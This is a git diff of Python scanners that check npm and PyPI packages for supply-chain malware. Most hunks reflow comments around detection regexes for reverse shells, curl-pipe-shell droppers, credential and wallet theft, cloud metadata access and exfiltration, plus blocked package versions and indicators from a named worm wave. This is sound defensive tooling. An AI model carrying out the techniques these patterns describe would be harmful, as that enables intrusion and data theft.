-1762,8 +1701,8 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:return findings-# Filename suffix decides which scanners run; .cjs/.mjs/.ts are-# treated like .js (attackers use whichever the loader resolves).+# Filename suffix decides which scanners run; .cjs/.mjs/.ts are treated like .js (attackers use whichever the loader+# resolves)._TEXT_SUFFIXES = (".js",".mjs",@@ -1791,8 +1730,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:rel = path.relative_to(root).as_posix()lower = rel.lower()if not lower.endswith(_TEXT_SUFFIXES):- # Skip native binaries (regex over machine code is noise);- # content-magic detection also skips extensionless+ # Skip native binaries (regex over machine code is noise); content-magic detection also skips extensionless# executables and versioned shared libraries.try:if path.stat().st_size > HARD_MAX_TEXT_FILE_BYTES:@@ -1830,8 +1768,6 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:# ─────────────────────────────────────────────────────────────────────-# Orchestrator.-# ─────────────────────────────────────────────────────────────────────def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | None]:@@ -1863,12 +1799,10 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N# ─────────────────────────────────────────────────────────────────────-# Baseline allowlist: triaged known-good HIGH/CRITICAL findings so the gate-# can enforce without red-failing on rare legitimate-library behavior.-# Matched on ``(normalized package, package-relative path, pattern)`` -- not-# evidence text -- so a version bump does not reopen a finding, but a *new*-# kind of finding in a listed file is a different pattern and still fails.-# Mirrors scan_packages.py. Regenerate with ``--write-baseline``.+# Baseline allowlist: triaged known-good HIGH/CRITICAL findings so the gate can enforce without red-failing on rare+# legitimate-library behavior. Matched on ``(normalized package, package-relative path, pattern)`` rather than evidence+# text, so a version bump does not reopen a finding, but a *new* kind of finding in a listed file is a different+# pattern and still fails. Mirrors scan_packages.py. Regenerate with ``--write-baseline``.# ─────────────────────────────────────────────────────────────────────_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")@@ -1944,8 +1878,8 @@ def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:if not isinstance(entries, list):print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)return set()- # v2 shares v3's package-relative keying, so its entries migrate by recomputing- # the evidence hash from their stored evidence; only pre-v2 (basename) is rejected.+ # v2 shares v3's package-relative keying, so its entries migrate by recomputing the evidence hash from their stored+ # evidence; only pre-v2 (basename) is rejected.if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2):print(f" [WARN] baseline schema v{data.get('version')} predates package-relative "@@ -2141,7 +2075,6 @@ def main(argv: list[str] | None = None) -> int:for f in findings:print(str(f), flush = True)- # Sort by severity then package.all_findings.sort(key = lambda f: (_SEVERITY_RANK[f.severity], f.package))print(@@ -2164,9 +2097,8 @@ def main(argv: list[str] | None = None) -> int:}[args.fail_on]threshold_rank = _SEVERITY_RANK[threshold]- # --write-baseline: persist the full current at/above-threshold set as the- # new allowlist (ignoring any loaded baseline), then exit 0. A hard error- # means the scan was incomplete, so warn -- a baseline baked from a partial+ # --write-baseline: persist the full current at/above-threshold set as the new allowlist (ignoring any loaded+ # baseline), then exit 0. A hard error means the scan was incomplete, so warn: a baseline baked from a partial# run would silently allow whatever failed to download.if args.write_baseline:if hard_errors:@@ -2178,8 +2110,8 @@ def main(argv: list[str] | None = None) -> int:_write_baseline(args.write_baseline, all_findings, threshold_rank)return 0- # Baseline allowlist: suppress triaged, known-good findings so the CI gate- # can be enforcing without red-failing on legitimate-library noise.+ # Baseline allowlist: suppress triaged, known-good findings so the CI gate can be enforcing without red-failing on+ # legitimate-library noise.if args.no_baseline:baseline_path = Noneelif args.baseline:@@ -2200,8 +2132,7 @@ def main(argv: list[str] | None = None) -> int:flush = True,)- # Exit code: 1 on a hard error, or a NON-baselined finding at/above the- # threshold. This is the signal CI gates on once the baseline is clean.+ # Exit 1 on a hard error or a NON-baselined finding at/above threshold.blocking = [f for f in active if _SEVERITY_RANK[f.severity] <= threshold_rank]if hard_errors or blocking:if blocking:diff --git a/scripts/scan_packages.py b/scripts/scan_packages.pyindex dae68f6a2cd..2f7cb3f3839 100644--- a/scripts/scan_packages.py+++ b/scripts/scan_packages.py@@ -77,42 +77,36 @@ from dataclasses import dataclass, fieldfrom pathlib import Path-# SeverityCRITICAL = "CRITICAL"HIGH = "HIGH"MEDIUM = "MEDIUM"SEVERITY_ORDER = {CRITICAL: 0, HIGH: 1, MEDIUM: 2}-# Hard pin-blocks for confirmed malicious PyPI versions (Socket.dev 2026-05-12-# Mini Shai-Hulud wave; earlier Semgrep/Endor reports for `lightning`).+# Hard pin-blocks for confirmed malicious PyPI versions (Socket.dev 2026-05-12 Mini Shai-Hulud wave; earlier+# Semgrep/Endor reports for `lightning`).BLOCKED_PYPI_VERSIONS: dict[str, set[str]] = {"guardrails-ai": {"0.10.1"},"mistralai": {"2.4.6"},"lightning": {"2.6.2", "2.6.3"},}-# Pattern definitions-# Subprocess / OS exec patternsRE_SUBPROCESS = re.compile(r"\bsubprocess\s*\.\s*(Popen|call|run|check_call|check_output)\b"r"|\bos\s*\.\s*(system|popen|exec[lv]p?e?)\b",)-# Encoding / obfuscationRE_BASE64 = re.compile(r"\bbase64\s*\.\s*(b64decode|decodebytes|b32decode|b16decode)\b|\bcodecs\s*\.\s*decode\b",)-# exec / evalRE_EXEC_EVAL = re.compile(r"\b(exec|eval)\s*\(")-# Network APIs (excludes urllib.parse which is pure string manipulation)-# ``httpx2`` is the pydantic-maintained successor and a separate import name, so the older-# ``httpx``-only alternative did not see it. openai 3.0.0 requires httpx2 and routes every-# call through it, which made the SDK's own HTTP invisible to each combined check that needs-# a network half (secrets + network, IMDS + network, archive + network).+# Network APIs (excludes urllib.parse which is pure string manipulation). ``httpx2`` is the pydantic-maintained+# successor and a separate import name, so the older ``httpx``-only alternative did not see it. openai 3.0.0 requires+# httpx2 and routes every call through it, which made the SDK's own HTTP invisible to each combined check that needs a+# network half (secrets + network, IMDS + network, archive + network).RE_NETWORK = re.compile(r"\burllib\.request\b"r"|\burlopen\s*\("@@ -168,7 +162,6 @@ RE_EMBEDDED_KEYS = re.compile(# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence.RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL)-# Cloud metadata / IMDS endpointsRE_CLOUD_METADATA = re.compile(r"169\.254\.169\.254" # AWS/Azure/GCP IMDSr"|metadata\.google\.internal" # GCP metadata@@ -180,7 +173,6 @@ RE_CLOUD_METADATA = re.compile(r"|\bIMDSv[12]\b",)-# Persistence mechanisms (systemd, cron, launchd, registry, startup dirs)RE_PERSISTENCE = re.compile(r"/etc/systemd/"r"|systemctl\s+(enable|start|daemon-reload)"@@ -200,7 +192,6 @@ RE_PERSISTENCE = re.compile(re.IGNORECASE,)-# Container / orchestration abuseRE_CONTAINER_ABUSE = re.compile(r"/var/run/docker\.sock"r"|\bdocker\s+(run|exec|cp|build)\b"@@ -219,7 +210,6 @@ RE_CONTAINER_ABUSE = re.compile(re.IGNORECASE,)-# Environment variable harvesting (bulk access or known secret vars)RE_ENV_HARVEST = re.compile(r"\bos\.environ\s*\.\s*copy\s*\(" # full env copyr"|\bdict\s*\(\s*os\.environ\s*\)"@@ -230,7 +220,6 @@ RE_ENV_HARVEST = re.compile(re.IGNORECASE,)-# Archive staging / exfiltration prep (create archive + network send)RE_ARCHIVE_STAGING = re.compile(r"\btarfile\s*\.\s*open\s*\("r"|\bzipfile\s*\.\s*ZipFile\s*\([^)]*['\"]w['\"]\s*\)"@@ -240,22 +229,20 @@ RE_ARCHIVE_STAGING = re.compile(re.DOTALL,)-# Anti-analysis / sandbox evasion / debugger detection-# NB: deliberately does NOT include a bare ``platform.system() ... Linux/Windows-# /Darwin`` branch. Under re.DOTALL that matched across the whole file -- any-# cross-platform library (typer, packaging, pandas, pymupdf, ...) trips it -- so-# it had ~zero precision and only generated false positives. OS detection alone-# is not an anti-analysis signal; the debugger/VM/long-sleep signals below are.+# Anti-analysis / sandbox evasion / debugger detection.+# Deliberately NO bare ``platform.system() ... Linux/Windows/Darwin`` branch: under re.DOTALL that matched across the+# whole file -- any cross-platform library (typer, packaging, pandas, pymupdf, ...) trips it -- so it had ~zero+# precision and only generated false positives. OS detection alone is not an anti-analysis signal; the debugger/VM/+# long-sleep signals below are.RE_ANTI_ANALYSIS = re.compile(r"\bptrace\b"r"|\bsys\s*\.\s*gettrace\s*\("r"|\bsys\s*\.\s*settrace\b"r"|\bTracerPid\b"- # /proc/self/status is read to scrape TracerPid for anti-debug. A leading- # \b here is unsatisfiable (\b never holds between a non-word boundary and- # "/"), so the old pattern was dead; a lookbehind that only forbids a- # preceding word char or path separator lets `open("/proc/self/status")`- # and `cat /proc/self/status` match while avoiding mid-path partials.+ # /proc/self/status is read to scrape TracerPid for anti-debug. A leading \b here is unsatisfiable (\b never+ # holds between a non-word boundary and "/"), so the old pattern was dead; a lookbehind that only forbids a+ # preceding word char or path separator lets `open("/proc/self/status")` and `cat /proc/self/status` match+ # while avoiding mid-path partials.r"|(?<![\w/])/proc/self/status\b"r"|\bIsDebuggerPresent\b"r"|\bvirtualbox\b.*\bhardware\b"@@ -264,7 +251,6 @@ RE_ANTI_ANALYSIS = re.compile(re.IGNORECASE | re.DOTALL,)-# DNS exfiltration / tunnelingRE_DNS_EXFIL = re.compile(r"\bdns\.resolver\b"r"|\bsocket\.getaddrinfo\s*\([^)]*\+[^)]*\)" # dynamic hostname construction@@ -275,7 +261,6 @@ RE_DNS_EXFIL = re.compile(r"|\bdig\s+",)-# File system enumeration / bulk file theftRE_FS_ENUM = re.compile(r"\bos\.walk\s*\(\s*['\"](?:/|~|/home|/root|/Users|C:\\\\)"r"|\bglob\s*\.\s*glob\s*\([^)]*(?:\*\*|\*\.pem|\*\.key|\*\.cer|\*\.pfx|\*\.p12)"@@ -285,11 +270,11 @@ RE_FS_ENUM = re.compile(# the whole file and produced 9 of the 11 baselined CRITICALs here (httpx, urllib3, IPython,# torch) -- each allowlisted, which suppressed this check for the whole file.r"|\.(?:bash|zsh|ksh|sh|python|node_repl|psql|mysql|rediscli|irb|sqlite)_history\b"- # Undotted history files, with a boundary that finds them however the path was built. fish- # writes fish_history and PowerShell writes PSReadLine/ConsoleHost_history.txt, neither with a- # leading dot. A quote counts as a boundary alongside a separator, so a basename assembled by- # Path.home() / "fish" / "fish_history" or os.path.join(h, "fish", "fish_history") still- # matches: there the character before the name is the quote, not a slash.+ # Undotted history files, with a boundary that finds them however the path was built.+ # fish writes fish_history and PowerShell writes PSReadLine/ConsoleHost_history.txt, neither with a leading dot.+ # A quote counts as a boundary alongside a separator, so a basename assembled by+ # Path.home() / "fish" / "fish_history" or os.path.join(h, "fish", "fish_history") still matches: there the+ # character before the name is the quote, not a slash.r"|(?:^|[/\\'\"])(?i:fish_history|ConsoleHost_history\.txt)\b"r"|['\"~/]\.history\b"r"|\bHISTFILE\b"@@ -312,38 +297,29 @@ RE_REVERSE_SHELL = re.compile(r"|\b/bin/(?:sh|bash)\b.*\bsocket\b"r"|\bpty\s*\.\s*spawn\b"r"|\bos\s*\.\s*dup2\s*\("- r"|\bwebbrowser\s*\.\s*open\b.*\bdata:\b", # data: URI abuse+ r"|\bwebbrowser\s*\.\s*open\b.*\bdata:\b",re.DOTALL,)-# The same thing without the dup2 branch, used only to answer "would this file-# still be a reverse shell if dup2 did not count?".-#-# dup2 is the ordinary way to point a file descriptor at a file, and it was the-# only single-token alternative above, in a pattern whose every other branch-# names two co-occurring signals. So it fired on capture helpers and redirect-# plumbing: ten of the nineteen reverse-shell entries in the committed baseline-# are dup2 with no socket anywhere in the file (click/testing.py,-# numba/tests/support.py, rich/console.py, torch elastic redirects.py,-# sentencepiece) and not one is a true positive. triton 3.8.0 shipped an-# eleventh in _internal_testing.py, which reddened main.-#-# A reverse shell dup2s onto a SOCKET, so the socket is the half carrying the-# meaning. A file with one is judged exactly as before, evidence included; a-# file without one has to earn the finding on a branch other than dup2. Nothing-# is lost: a payload has to name socket to obtain the descriptor at all, and the-# socket + connect + subprocess branch catches it independently.+# The same thing without the dup2 branch, used only to answer "would this file still be a reverse shell if dup2 did not+# count?".+# dup2 is the ordinary way to point a file descriptor at a file, and it was the only single-token alternative above,+# in a pattern whose every other branch names two co-occurring signals.+# So it fired on capture helpers and redirect plumbing: ten of the nineteen reverse-shell entries in the committed+# baseline are dup2 with no socket anywhere in the file (click/testing.py, numba/tests/support.py, rich/console.py,+# torch elastic redirects.py, sentencepiece) and not one is a true positive.+# triton 3.8.0 shipped an eleventh in _internal_testing.py, which reddened main.+# A reverse shell dup2s onto a SOCKET, so the socket is the half carrying the meaning.RE_REVERSE_SHELL_WITHOUT_DUP = re.compile(r"\bsocket\b.*\bconnect\b.*\bsubprocess\b"r"|\bsocket\b.*\bconnect\b.*\b(?:sh|bash|cmd)\b"r"|\b/bin/(?:sh|bash)\b.*\bsocket\b"r"|\bpty\s*\.\s*spawn\b"- r"|\bwebbrowser\s*\.\s*open\b.*\bdata:\b", # data: URI abuse+ r"|\bwebbrowser\s*\.\s*open\b.*\bdata:\b",re.DOTALL,)RE_SOCKET_USE = re.compile(r"\bsocket\b")-# Process injection / code loading from remoteRE_REMOTE_CODE = re.compile(r"\bexec\s*\(\s*(?:urllib|requests|httpx|urlopen)" # exec(requests.get(...))r"|\bexec\s*\([^)]*\.(?:text|content|read)\s*\("@@ -353,7 +329,6 @@ RE_REMOTE_CODE = re.compile(re.DOTALL,)-# Crypto wallet / cryptocurrency theftRE_CRYPTO_THEFT = re.compile(r"\bwallet\.dat\b"r"|\b\.bitcoin[/\\]"@@ -399,8 +374,8 @@ RE_DEV_TOOL_HIJACK = re.compile(r"|\bautomator\b.*\.workflow\b",)-# Hard-coded credential / API-token regexes embedded in source. Packages that-# ship regexes for OTHER people's secrets are nearly always stealers.+# Hard-coded credential / API-token regexes embedded in source.+# Packages that ship regexes for OTHER people's secrets are nearly always stealers.RE_TOKEN_REGEX = re.compile(r"\bgh[psoru]_[A-Za-z0-9_]{20,}" # GitHub PAT/OAuth/etc.r"|\bgithub_pat_[A-Za-z0-9_]{20,}"@@ -414,16 +389,15 @@ RE_TOKEN_REGEX = re.compile(r"|\bglpat-[0-9A-Za-z_-]{20,}", # GitLab PAT)-# Mini Shai-Hulud May-12 2026 wave indicators. `transformers.pyz` dropper name-# is high-confidence; the host + slogans are CRITICAL.+# Mini Shai-Hulud May-12 2026 wave indicators. `transformers.pyz` dropper name is high-confidence; the host + slogans+# are CRITICAL.RE_MAY12_IOC = re.compile(r"(git-tanstack\.com|/tmp/transformers\.pyz|transformers\.pyz"r"|With Love TeamPCP|We've been online over 2 hours)",re.IGNORECASE,)-# JavaScript-side obfuscation. A bundle full of `_0x1f2e3d` hex-var identifiers-# is a near-universal tell for a malicious npm payload, rare in legit wheels.+# JavaScript-side obfuscation.RE_JS_OBFUSCATION = re.compile(r"_0x[a-f0-9]{4,6}\s*=\s*function"r"|var\s+_0x[a-f0-9]{4,6}\b"@@ -441,9 +415,9 @@ RE_WEB3_HIJACK = re.compile(r"|TronWeb|solanaWeb3",)-# Self-propagating worms (Shai-Hulud, ForceMemo) plant their own GitHub workflow-# in every repo they reach and use trufflehog/gitleaks for credential discovery.-# Any of these strings in a package payload is strong repo-takeover evidence.+# Self-propagating worms (Shai-Hulud, ForceMemo) plant their own GitHub workflow in every repo they reach and use+# trufflehog/gitleaks for credential discovery. Any of these strings in a package payload is strong repo-takeover+# evidence.RE_WORKFLOW_INJECT = re.compile(r"\.github/workflows/[^\"\']*\.ya?ml"r"|\btrufflehog\b|\bgitleaks\b"@@ -454,7 +428,6 @@ RE_WORKFLOW_INJECT = re.compile()# install.sh / postinstall scripts piping remote code into a shell.-# `curl ... | sh` is the canonical npm postinstall dropper.RE_SHELL_DROPPER = re.compile(r"\bcurl\b[^\n|]*\|\s*(?:sh|bash|zsh)\b"r"|\bwget\b[^\n|]*-O-\s*\|\s*(?:sh|bash|zsh)\b"@@ -475,9 +448,6 @@ class Finding:file_sha256: str = ""-# Checkers--def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:"""Run all .pth-specific checks.@@ -531,11 +501,9 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:))- # Large base64 blobif RE_LARGE_BLOB.search(content):- # Digest every blob (not just the first 120 chars, and not just the- # first blob), so a later payload that keeps the prefix or appends a- # second encoded blob reopens.+ # Digest every blob (not just the first 120 chars, and not just the first blob), so a later payload that keeps+ # the prefix or appends a second encoded blob reopens.blob, digest = _blob_digest(content)findings.append(Finding(@@ -581,9 +549,8 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:return findings-# A STRING after one of these tokens (and before a NEWLINE) is a bare-# docstring/doctest/prose statement -- the dominant FP source -- so we blank it.-# A string after `=` or `(` is real code and is never blanked.+# A STRING after one of these tokens (and before a NEWLINE) is a bare docstring/doctest/prose statement -- the+# dominant FP source -- so we blank it. A string after `=` or `(` is real code and is never blanked._LINE_START_TOKENS = frozenset({tokenize.NEWLINE, tokenize.NL, tokenize.INDENT, tokenize.DEDENT})@@ -625,8 +592,7 @@ def _strip_noncode(content: str, blank_comments: bool = True) -> str:and prev_significant in _LINE_START_TOKENSand not _is_fstring(tok.string) # f-strings execute; never blank them):- # Bare string only if it is the whole statement: next significant- # token must close the logical line.+ # Bare string only if it is the whole statement: the next significant token must close the logical line.j = i + 1while j < n and toks[j].type in (tokenize.COMMENT, tokenize.NL):j += 1@@ -667,8 +633,8 @@ def _strip_noncode(content: str, blank_comments: bool = True) -> str:return "".join(buf)-# Payload carriers that are suspicious when hidden in a blanked region (a-# docstring/string) of a file that can dynamically execute strings.+# Payload carriers that are suspicious when hidden in a blanked region (a docstring/string) of a file that can+# dynamically execute strings._HIDDEN_PAYLOAD_PATTERNS = ((RE_LARGE_BLOB, "large base64 blob"),(RE_EMBEDDED_KEYS, "embedded key material"),@@ -685,24 +651,20 @@ def _hidden_payload_findings(scanning yet ``exec(__doc__)`` / ``exec(<str>)`` could still run it."""if not RE_EXEC_EVAL.search(stripped):return []- # Only docstrings/strings run via exec(__doc__)/exec(<str>); comments cannot.- # Isolate that span: keep comments as real code, take what string-blanking- # removed (length-preserved, so offsets stay exact for _extract_evidence).+ # Only docstrings/strings run via exec(__doc__)/exec(<str>); comments cannot. Isolate that span: keep comments as+ # real code, take what string-blanking removed (length-preserved, so offsets stay exact for _extract_evidence).code = _strip_noncode(original, blank_comments = False)removed = "".join(o if o != s else " " for o, s in zip(original, code))out = []- # The visible exec/eval line is what makes the hidden string executable, so- # bind it into every finding's evidence: otherwise a reviewed false positive- # that keeps the same hidden text but flips a harmless `eval("1+1")` to- # `exec(__doc__)` (now running the payload) keeps the same key and stays- # suppressed. Taken from `stripped` (real code), where the exec/eval lives.+ # The visible exec/eval line is what makes the hidden string executable, so bind it into every finding's evidence:+ # otherwise a reviewed false positive that keeps the same hidden text but flips a harmless `eval("1+1")` to+ # `exec(__doc__)` (now running the payload) keeps the same key and stays suppressed. Taken from `stripped` (real+ # code), where the exec/eval lives.trigger = _extract_evidence(stripped, RE_EXEC_EVAL)def _hidden(pat):- # Carrier present in a blanked region but NOT in real code. A carrier in- # real code is already caught by the normal check, so restricting to- # blanked-only avoids re-flagging legitimate in-code constants.+ # Carrier present in a blanked region but NOT in real code.return bool(pat.search(removed)) and not pat.search(stripped)for pat, label in _HIDDEN_PAYLOAD_PATTERNS:@@ -747,7 +709,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:is_setup = basename in ("setup.py", "setup.cfg")is_init = basename == "__init__.py"- # Pre-compute pattern matcheshas_network = bool(RE_NETWORK.search(content))has_subprocess = bool(RE_SUBPROCESS.search(content))has_base64 = bool(RE_BASE64.search(content))@@ -764,7 +725,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:has_anti = bool(RE_ANTI_ANALYSIS.search(content))has_dns_exfil = bool(RE_DNS_EXFIL.search(content))has_fs_enum = bool(RE_FS_ENUM.search(content))- # dup2 counts only alongside a socket; see RE_FD_DUP.# dup2 counts only alongside a socket; see RE_REVERSE_SHELL_WITHOUT_DUP.has_rev_shell = bool(RE_REVERSE_SHELL.search(content)) and (bool(RE_SOCKET_USE.search(content)) or bool(RE_REVERSE_SHELL_WITHOUT_DUP.search(content))@@ -776,9 +736,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:has_c2_polling = bool(RE_C2_POLLING.search(content))has_may12_ioc = bool(RE_MAY12_IOC.search(content))- # CRITICAL: combination patterns that strongly indicate malice-- # base64 decode + subprocess execution (staged payload)if has_base64 and has_subprocess:findings.append(Finding(@@ -791,7 +748,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # openssl encryption + network/key material (encrypted exfiltration)if has_openssl_cli and (has_network or has_keys):# Bind whichever side(s) co-occur so a changed endpoint or key reopens.evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"]@@ -809,7 +765,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Writes to /tmp and executes (staged dropper)if has_temp_exec:findings.append(Finding(@@ -821,7 +776,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # May-12 Shai-Hulud IOC string in Python source.if has_may12_ioc:findings.append(Finding(@@ -833,7 +787,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # C2 polling/beaconing loopif has_c2_polling:findings.append(Finding(@@ -858,7 +811,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Reverse / bind shellif has_rev_shell:findings.append(Finding(@@ -866,13 +818,12 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:package,filename,"Reverse shell / bind shell pattern",- # Still RE_REVERSE_SHELL, so every finding that survives the gate- # renders byte-identical evidence to before this change.+ # Still RE_REVERSE_SHELL, so every finding that survives the gate renders byte-identical evidence to+ # before this change._extract_evidence(content, RE_REVERSE_SHELL),))- # Remote code execution: exec/eval on HTTP responseif has_remote_code:findings.append(Finding(@@ -884,7 +835,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Env harvest + network exfilif has_env_harvest and has_network:findings.append(Finding(@@ -897,7 +847,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Filesystem enum + network exfilif has_fs_enum and has_network:findings.append(Finding(@@ -910,7 +859,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Cloud metadata access + network (exfil IMDS tokens)if has_cloud_meta and has_network:findings.append(Finding(@@ -923,7 +871,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Crypto wallet theft + networkif has_crypto_theft and has_network:findings.append(Finding(@@ -936,7 +883,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Archive staging with credential content + networkif has_archive and has_network:findings.append(Finding(@@ -949,7 +895,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Persistence + network (dropper that persists)if has_persistence and has_network:findings.append(Finding(@@ -962,7 +907,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Container/k8s abuse + networkif has_container and has_network:findings.append(Finding(@@ -975,13 +919,9 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # HIGH: single strong signals or weaker combinations-- # Obfuscated payload: base64 + exec/eval + large blobif has_base64 and has_exec_eval and has_blob:- # Digest every blob too: a payload may sit on a separate line from the- # decode call, and a second encoded blob may be appended later, so- # binding only the base64/exec lines or the first blob would miss it.+ # Digest every blob too: a payload may sit on a separate line from the decode call, and a second encoded blob+ # may be appended later, so binding only the base64/exec lines or the first blob would miss it._, blob_digest = _blob_digest(content)findings.append(Finding(@@ -1008,7 +948,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Embedded crypto key + network (hardcoded key for encrypted exfil)if has_keys and has_network:findings.append(Finding(@@ -1021,7 +960,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Anti-analysis + any other suspicious patternif has_anti and (has_network or has_subprocess or has_exec_eval):# Bind the suspicious side too so a changed payload reopens.evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"]@@ -1041,7 +979,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # DNS exfiltration with dynamic hostnamesif has_dns_exfil and (has_base64 or has_network or has_creds):# Bind the co-occurring side so a changed exfil channel reopens.evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"]@@ -1061,7 +998,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Cloud metadata standalone (IMDS access in a PyPI package is suspicious)if has_cloud_meta and not findings:findings.append(Finding(@@ -1073,7 +1009,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Persistence standalone (a PyPI package installing systemd/cron is suspicious)if has_persistence and not has_network:findings.append(Finding(@@ -1085,7 +1020,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Container abuse standaloneif has_container and not has_network:findings.append(Finding(@@ -1097,7 +1031,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # openssl CLI standalone (uncommon in PyPI packages)if has_openssl_cli and not (has_network or has_keys):findings.append(Finding(@@ -1109,7 +1042,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # setup.py checksif is_setup:if has_network and has_subprocess:findings.append(@@ -1133,9 +1065,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # MEDIUM: standalone signals (informational, may be legitimate)-- # base64 + exec/eval without blobif has_base64 and has_exec_eval and not has_blob:findings.append(Finding(@@ -1148,7 +1077,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Standalone obfuscation without execif has_obfuscation and not has_exec_eval:findings.append(Finding(@@ -1160,7 +1088,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Embedded crypto keys standaloneif has_keys and not has_network:findings.append(Finding(@@ -1172,7 +1099,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Env harvest standaloneif has_env_harvest and not has_network:findings.append(Finding(@@ -1184,7 +1110,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Filesystem enum standaloneif has_fs_enum and not has_network:findings.append(Finding(@@ -1196,7 +1121,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Crypto wallet references standaloneif has_crypto_theft and not has_network:findings.append(Finding(@@ -1215,23 +1139,12 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:_MAX_MULTILINE_LINES = 12-# How far a single matched call is followed over its bracket continuations. A call-# that genuinely closes is bound all the way to its real close, up to the hard-# limit, so a ``requests.post(`` with many option/header lines before ``data=``-# binds its whole argument list in the digest and a changed payload on a late-# continuation line reopens (a 40-line soft cap would hash only the first 40 lines-# and let a later ``data=``/headers change ride the baseline key). A bracket that-# never closes within the hard limit is a miscount (a multi-line string the-# single-line blanker cannot mask) or a stray opener, so it is bound only to the-# soft cap and cannot swallow unrelated code._MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it-# Cap a single rendered line. A short line is shown verbatim; a long (e.g.-# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full-# line, so a packed payload cannot dump unbounded content into the evidence and-# baseline while a change past the cutoff still changes the digest and reopens the-# finding. The npm scanner bounds its snippets the same way.+# Cap a single rendered line. A short line is shown verbatim; a long (e.g. minified one-liner) line is shown as a+# bounded prefix plus a sha256 of the full line, so a packed payload cannot dump unbounded content into the evidence+# and baseline while a change past the cutoff still changes the digest and reopens the finding._MAX_LINE_CHARS = 200# Cap on recorded spans in one evidence string; beyond it the remaining spans are# folded into a digest so a file with thousands of matching lines cannot build a@@ -1260,8 +1173,8 @@ def _ends_with_odd_backslash(s: str) -> bool:return (len(s) - len(s.rstrip("\\"))) % 2 == 1-# Single-line quoted string literal; blanks complete one-line strings (the legacy-# view) so the single-line and multi-line blanked spans can be unioned below.+# Single-line quoted string literal; blanks complete one-line strings (the legacy view) so the single-line and+# multi-line blanked spans can be unioned below._RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"")@@ -1343,9 +1256,8 @@ def _blank_code_strings(lines: list[str]) -> list[str]:if closed:i = jelse:- # Ran off the line without closing: an odd trailing backslash- # escapes the newline and continues the string onto the next- # line, so remember the quote; otherwise it is just unterminated.+ # Ran off the line without closing: an odd trailing backslash escapes the newline and continues+ # the string onto the next line, so remember the quote; otherwise it is just unterminated.i = nif _ends_with_odd_backslash(line):in_string = ch@@ -1398,8 +1310,8 @@ def _scan_line_end(view: list[str], start: int) -> int:left, right = _bracket_lr(ln)depth = max(0, depth - left) + rightif ln.rstrip().endswith("\\"):- continue # explicit backslash continuation: the call (e.g. its `(` and- # URL/body) is on the next physical line, so do not close here+ continue # explicit backslash continuation: the call (e.g. its `(` and URL/body) is on the next+ # physical line, so do not close hereif depth <= 0:return j# Never closed within the hard limit: bind only the soft cap so a stray opener@@ -1444,15 +1356,11 @@ def _extract_evidence(ml_blanked = _blank_code_strings(lines)out = []seen: set[tuple[int, int]] = set()- # Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS- # rendered spans, every further span is folded straight into a running digest- # instead of being materialized and sliced off at the end. On a minified or- # padded file with hundreds of thousands of matching lines that keeps memory- # and work bounded to the display cap rather than the match count, while the- # digest still covers every overflow span so an over-cap payload change- # reopens. The fold reproduces 